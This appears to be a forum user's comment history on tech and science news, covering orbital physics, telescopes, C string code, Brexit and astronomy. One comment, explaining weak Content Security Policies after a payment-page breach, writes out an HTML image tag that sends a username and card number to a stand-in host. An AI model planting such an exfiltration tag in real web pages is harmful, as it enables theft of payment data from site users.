* Posts by Brewster's Angle Grinder

2027 posts • joined 23 May 2011

NASA gently nudges sleeping space 'scopes Chandra, Hubble out of gyro-induced stupor

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Re: The Optimal Number of Gyroscopes

All the Clapp paper.

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Does Google make hardware just so nobody buys it?

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Re: But muh headphone jack!

Using a corded (?chorded?) mouse means never having to search around for batteries or battery charger at inopportune moments.

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Coat

Re: you can't make a Veblen good out of a dumb computer terminal

"No, Arthur - you are being silly."

In fairness, Andrew, he's a cat; it comes with the (very-well marked) territory.

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Hate to burst your Hubble: Science stops as boffins scramble to diagnose gyro problem

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Re: One can only hope

"These 2 telescopes have a shorter focal length then Hubble does so they won't be able to see as far into deep space as Hubble can."

I didn't realise they made telescopes with parsec focal lengths! But I guess that's what makes astronomy so tricky: focusing light from objects so far away.

*Sigh* Stars are "prefocused" (they're point sources at infinity) and so focal length has bugger all effect on how far a telescope can see. It does look as if these scopes won't see as far as Hubble, but that's because they're not designed to be cooled [SOURCE] and so won't be able to separate (infra)red-shifted starlight from thermal noise. However the focal length will give it a much wider field of view than Hubble and it will be able to see fainter objects at much closer distances [ibid].

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HMRC rapped as Brexit looms and customs IT release slips again

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Re: no surprise

You're not going to convince me the earth is round by calling me a racist; there's just no depth to that subterranean level of arguing.

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UK ruling party's conference app editable by world+dog, blabs members' digits

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This is the party that's promising to solve the Northern Irish border with "technology".

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Send up a satellite to zap space junk if you want Earth's orbit to be clean, say boffins

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Re: Idiots

First, your numbers are out by an order of magnitude. 60mN is 0.06 not 0.006. (Innumerate?) So the product is 108.

Secondly, you don't get to energy by multiplying force and time. The equation you want is Newton's second law, F=Δp/Δt, which we can rewrite as Δp = FΔt to show that a force applied over a period of time gives a change in momentum. Dividing this figure by the mass will calculate the change in velocity, but because you were out by an order of magnitude, it's actually 54cm/s.

Now we can calculate the change in kinetic energy of the satellite: it will be ½m(v+Δv)² - ½mv² which is mvΔv + ½mΔv² . (This should look familiar as it's the Galilean equation for acceleration multiplied by mass. We could have gone that route directly using the "F=ma" form of the second law, but we've got a deltaV so we'll stick with this.)

We'll use your velocity of 9.4E3m/s. And as Δv is tiny we'll discard the Δv² squared term and call the change in energy mvΔv. Which is 2E3 * 9.4E3 * 0.054 = ~1MJ (~50kW) This figure is a bit high because, I think, you've used the launch velocity not the orbital velocity. But it's the right ballpark. This energy is big because most of the transferred megajoule comes from the kinetic energy the plasma particles have from already being in orbit.

Anyway, detailed analysis suggest the impulse supplied will be enough to get an object in 1000km orbit down to 300km orbit, where the atmosphere will do the rest. There's an in-depth analysis here.

So, on the new numeric GCSE grading system, I reckon I'd give you -1.

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Fortnite 'fesses up: New female character's jiggly bits 'unintended' and 'embarrassing'

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Re: Meanwhile in World of Warcraft...

I refer you to this thirty-year old cartoon from Dragon Magazine 140. (And note the cleric on the cover is fully armoured.)

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New theory: The space alien origins of vital bio-blueprints for dinosaurs. And cats. And humans. And everything else

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I'm normally critical of the panspermia crowd. But it appears that naturally occurring phosphates aren't in a form suitable for life. Plants and microbes convert it into the form we need. But that leaves the small problem of how phosphate got into the form necessary for life before there was any life. If most of the earth's oceans came from comets and that was contaminated with biology-friendly phosphates, then we're quids in. So this research has merit.

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Re: Earthly origins

According to the paper, the phosphates in the earth's crust aren't very water soluble or useful for biology. Plants and microbes overcome this for us but that's no good before there were plants and microbes -- and for life to get going we did need to be swimming in it; every DNA or RNA nucleotide ("letter") needs at least one phosphate anion.

But if comets and meteors are polluted with space-synthesized phosphates of the sort life needs, then perhaps that's where it came from.

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Former Apple engineer fights iPhone giant for patent credit and denied cash, says Steve Jobs loved his 'killer ideas'

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Good luck, Darren!

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Linux kernel 'give me root, now' security hole sighted, dubbed 'Mutagen Astronomy'

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Re: A Difficult Current Iteration only a Worthy Few Know About and Need to Know ?

It's grammar is your grammar.

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Oracle pours a mug o' Java 11 for its addicts, tips pot of Binary Code License down the sink

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I presumed the work involved in string reallocation would be the same for both approaches and so excluded the substring step for clearer exposition.

But, because I've not had to code pure C in a long time and there is a certain delight in being able to do this stuff, I think it should be:

char* res = malloc(strlen(str)+1);

return res != NULL ? strcpy(res,str) : NULL

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Unless they're numpties (and this is Oracle, so I don't discount that) a regex will be slower and use more memory than a dedicated function.

In C, stripping leading whitespace is something like:

while (isspace(*str)) ++str;

By contrast with string.replace(/^\s+/,'') the compiler parses the regex into an internal representation, and then, at run time, that's passed to the replace function which evaluates it using an internal engine and splices replacements into matching substrings. It's just no comparison.

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HMRC contractor scores IR35 payout after yet another taxman blunder

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Re: "Her firm, SJW Marketing..."

Given her name is Susan Winchester, I think we can reasonably speculate it's her initials and that her middle name is Jane, Jennifer, Julia, etc...

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Flying to Mars will be so rad, dude: Year-long trip may dump 60% lifetime dose of radiation on you

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Re: Six months?????

Rich, I'd back you against the cowboys, but given the shielding requirements, it may make sense to have that mass as fuel. I could easily imagine a slow outbound trip and then sprinting home, burning the shielding. It's one of those things were someone does have to run the numbers and see what's best.

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British Airways hack: Infosec experts finger third-party scripts on payment pages

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Re: Possible mitigation?

The CSP will do this for you already. But you have to lock everything down. If, for example, you allow images from anywhere then I can exfiltrate data by including the image:

<img src="http://example.com/save-hacked-details/?user=brewsters-angle-grinder&credit-card=1234-0000-8000-1234&">

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Pluto is more alive than Mars, huff physicists who are still not over dwarf planet's demotion

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Re: "no planet clears its orbit"

Before you "tell that to Jupiter", have a word with 884 Priamus, 624 Hektor and 3317 Paris and their opponents 1404 Ajax, 588 Achilles and 1647 Menelaus.

That said, I agree there's a difference between having camps of rocks at your Lagrange points and having NEPTUNE in your orbit. And while focusing on hydrostatic is interesting, plenty of moons are in hydrostatic equilibrium.

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AI biz borks US election spending data by using underpaid Amazon Mechanical Turks

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No need for AI; a lottery will suffice.

Citizens' juries have good results. IIRC you can't completely do away with elected politicians (somebody has to set the questions and somebody has to implement the answers) but they produce good policy; much better than referenda.

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Bug bounty alert: Musk lets pro hackers torpedo Tesla firmware risk free

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Help!

I'm a good faith researcher doing bad faith research. Do I qualify?

What about if I'm a bad faith researcher but doing good faith research?

Researchers: we have inquiring minds.

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UK.gov's no-deal plans leave HMRC customs, VAT systems scrambling to keep up

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The Jester is King; long live the Jester!

"It is obvious to the EU that May will never risk destroying Britain with a No Deal Brexit..."

A deal has to be in place by ?November. So even if May does sign some heads of terms, and manages to get it through parliament, she could be ejected and PM Boris rip up the deal before the A50 clock expires.

Whether we get a deal or not depends on the power balances of parliamentary factions and how well the individuals involved do politics. May is not good at this kind of politics and their are enough ideologues who'd want Brexit at any cost, that no deal is a very real possibility.

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Neutron star crash in a galaxy far, far... far away spews 'faster than light' radio signal jets at Earth

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I thought the downvotes were unjustified until I got to the last para. And if you'd phrased that as a question, you'd've probably got away with it; people have itchy trigger fingers in a thread so filled with BS.

In answer to your first question: a big enough neutron star always becomes a black hole. In fact all matter wants to collapse into a black hole, but there are repulsive forces that stop it: the electric "Coulomb" forces between molecules and atoms are enough to keep you human; in something as massive as a star, the temperature of the plasma pushes back against the collapse, and in a neutron star its the "degeneracy pressure". But if you exceed a critical mass (Tolman–Oppenheimer–Volkoff limit), then even that won't stop it.

I don't follow what you're asking in the second question. But a change in the position of matter is a change in the gravitational field, and the changing field has its usual affect on remote objects.

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Archive.org's Wayback Machine is legit legal evidence, US appeals court judges rule

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Re: DNA and ffingerprints

Yes, microchimerism is a thing. (A mother will have cells from all her children in her blood.) But I don't think a few cells here or there will sway DNA analysis; it's several orders of magnitude less important than being a fusion of two siblings.

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Hello 'WOS': Windows on Arm now has a price

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Re: Be careful what you wish for...

The point about Qualcomm having patents is fair. But I imagine, if it's successful, that other manufacturers will do something similar -- licensing or working around the patents to various effect. (And if they can't, we'll have swapped an x86 monoculture, where Intel and AMD compete, for a Qualcomm monopoly.)

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Be careful what you wish for...

Suppose this succeeds, then x86 will start to wither and we will go from domain specific monocultures (Intel on desktop/laptops; ARM on tablets/phones) to a global monoculture (ARM everywhere).

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It's official: Chocolate Factory anoints Tink crypto as Google project

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Re: Great, but...

BoringSSL is also Google, so it's definitely not NIH.

As their page says,

We don't recommend that third parties depend upon [BoringSSL]. Doing so is likely to be frustrating because there are no guarantees of API or ABI stability.

I'm guessing Tink attempts to provide a saner, stabler, API/ABI.

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New Horizons eyeballs Kuiper Belt object Ultima Thule, its next flyby goal

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I propose we call this KBO the Sir David Attenborough

"[Ultima Thule] was given the unexciting official name of (486958) 2014 MU69 before being renamed in a public contest.

I love the name Ultima Thule, both for its historical resonance and its sheer syllabic panache. But how did it not end up being called Rocky McRockface? Did they ban that at the outset? Were the Great British public asleep at their phones? And, more importantly, why is El Reg not calling it Rocky McRockface?

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Russian volcanoes fingered for Earth's largest mass extinction

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Re: -->As all right-thinking Christians know, the world was created in 4004 BC

I think "right-thinking" means thinking thoughts acceptable to the political right.

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Jupiter suffered growing pains before becoming our system's big daddy

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Re: Why?

Mass comes in several classes: metre- to kilometre-sized planetesimals; mm and cm sized dust and pebbles; and gas. The primitive solar nebula is overflowing with gas, has about 1% dust, and has a sprinkling of planetesimals.

When the primitive cores are barely more than wee planetesimals themselves, they accrete pebbles. Eventually they get big enough to sweep their orbit clear and keep it clear, and it this point they can't accrete any more pebbles ("the pebble isolation mass") and stop growing - except for increasingly infrequent collisions with planetesimals, comets and asteroids. That's what happened to the outer "ice" giants.

But Saturn and Jupiter were able to successfully accrete gas and balloon up in size. It's this phase I suspect they're talking about. And I suspect it's routine hydrostatic equilibrium: the outwards pressure of hot gas, retards gas from being accreted. Eventually, after a few megayears, the gas envelope has cooled sufficiently and the planet increased in size to a point where it's gravitational attraction can overcome the thermal pressure and it wraps itself in gas like a stick wrapping itself in candyfloss.

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Experimental 'insult bot' gets out of hand during unsupervised weekend

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Re: Bank Holidays...

Call them "drought days" and you'll guarantee rain.

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Lo and behold, Earth's special chemical cocktail for life seems to be pretty common

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Re: Fermi Paradox

Europa's magnetic field is about 200 times weaker than Earth's. That said, it's deep enough within mummy's magnetosphere that it's not got to worry about anything coming from the Sun.

But probably the most important function of the magnetosphere is not protection from radiation, but prevention of solar erosion of water from the atmosphere. Tardigrades (and D. radiodurans) might survive the radiation, but even they need water to live.

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Your Twitter app stopped working? Here's why

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Re: "See this less often"

Appointments to the proctologist were vetoed by accounting.

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The off-brand 'military-grade' x86 processors, in the library, with the root-granting 'backdoor'

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Re: Different Viewpoint

Did you read the same article as me? It can only be enabled from ring 0. But, once enabled "...privileged functions can be used from any protection level, memory descriptor checking can be bypassed, and many x86 exceptions such as alignment check can be bypassed."

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Julia 0.7 arrives but let's call it 1.0: Data science code language hits milestone on birthday

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Re: Indices...

Then there's the OPTION BASE statement. (I was glad to see it's alive and well. I remember it from GwBasic days -- added as a sop for the moaners.)

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Android ain't done until Samsung won't run? 9.0 Pie borks Gear watch app

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For a moment there, I thought you were suggesting Google had adopted the same versioning system Knuth uses for TeX.

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UK.gov to tech industry: Hands up who can help cut teachers' admin

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Well full fact says budgets have been cut in real terms over the last couple of years.

And private schools skew the figures. My back of the envelope suggests we'd be level with Ireland without them. (The average state funding per pupil is around £5200 (by eye from the graph). But 7% of students are in private schools and average private fees are £17,000. So that raises the per pupil average over £6000.)

That's before we take into way all the ways money has been used for non-educational outcomes.

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Holy ship! UK shipping biz Clarksons blames megahack on single point of pwnage

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You don't need to name the person whom the injunction is against; when the local bypass was being built, they got generic injunction that amounted to "anyone protesting".

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Visa fingers 'very rare' data centre switch glitch for payment meltdown

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"It was a backup switch within the primary center that failed to activate due to a component fault in another switch."

So I guess it was the backup switch's psychic circuit that "failed". It should have ignored the status signals telling it the main switch was okay and deduced it was having a bit of a turn.

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Now Microsoft ports Windows 10, Linux to homegrown CPU design

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"Why have neither Intel, AMD, ARM or Samsung developed a similar approach, or bought this particular technology in from academia?"

That was pre Spectre/Meltdown. I bet it looks a whole lot more attractive now people have taken an interest in the side channels CPUs create.

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Dixons Carphone 'fesses to mega-breach: Probes 'attempt to compromise' 5.9m payment cards

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Re: Information was accessed but hasn't left their systems?

It probably means they've found malware on the system, but have no evidence its recognised its hit the mother lode and started exfiltrating data.

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Done and dusted? Vast storm gobbles NASA's long-lived Mars robot

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Okay, I admit it. That XKCD always brings a little tear to my eye.

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GNOMEs beat Microsoft: Git Virtual File System to get a new name

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Trollface

"H" is the next letter in the alphabet after G. So, to avoid confusion, I propose we call it `HGVFS`.

See icon ------------------>

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Automation won’t take your job until the next recession threatens it

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Re: You'd think interest in automation would peak

When things are going fine, nobody wants to rock the boat. And spending on R&D to "stay still" is robbing shareholders and executives of their just deserts.

But in a recession, you've gotta find savings or the CEO salary might take a hit. Or, worse, the company may even fail and the CEO be forced to find another job. So you fire someone, and if the machine can do 70% of their job, you're onto a winner. (Or you don't hire someone and put in a machine in instead.)

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Microsoft sinks another data centre with Natick 2

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Or possibly Dagon. The latter has pluses if you have a diverse work force that includes a minority suffering from the recessive genetic anomaly known as the "Innsmouth look".

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No lie-in this morning? Thank the Moon's gravitational pull

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Re: How large of a tide would that have been?

"How large would it have looked in the sky?"

About 9 times large than today. But it would be 80 times fainter - because the light it reflects, which hasn't changed, is now spread out out over a much larger "area". My fag packet suggests the full moon would only be about as bright as Sirius. So it wouldn't be visible in the day. Eclipses would be far more common, though.

I used to know the numbers about tidal heights. But I can't fault the answer above (except for using miles). Remember tides are very complicated, shaped by local geography, and the sun is responsible for about a third of the height. However the most important thing to worry about is not the ocean tide but the tidal movement of the Earth's crust. Imagine the fucking earth's surface raising and shrinking by 100s of metres twice a fucking day.

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Pwn goal: Hackers used the username root, password root for botnet control database login

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The Al Capone manoeuvre

But it does mean we can prosecute them under the GDPR. They might think twice about their exploits, then.

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Visa Europe fscks up Friday night with other GDPR: 'God Dammit, Payment Refused'

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Re: Bad workmen blame their tools.

Could it be because, unlike computer systems, guns don't spontaneously explode exactly targeting a school child or a woman who wouldn't have sex with the nut holding the gun?

The closet analogy I can imagine is having a loaded gun in your backpack, and the safety fail and the gun go off. Whatever the idiocy of doing that, the mechanical failure played a role.

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Closed, time-like curves

"Ordinary people will bunk in dormitories run by their owners, er employers, eat at company troughs, er canteens, and work the rest of the time to pay some of the interest on their ever-increasing debts."

cf Company Scrip.

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Those internet trends? It's bad news if you're not Amazon, basically

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Americans are spending more on health as a proportion of the household budget than ever, so she "expects them to start acting like consumers."

Y'know, dear, I don't think any of those cancer treatments represent good value for money. So I'll give them a miss for the time being.

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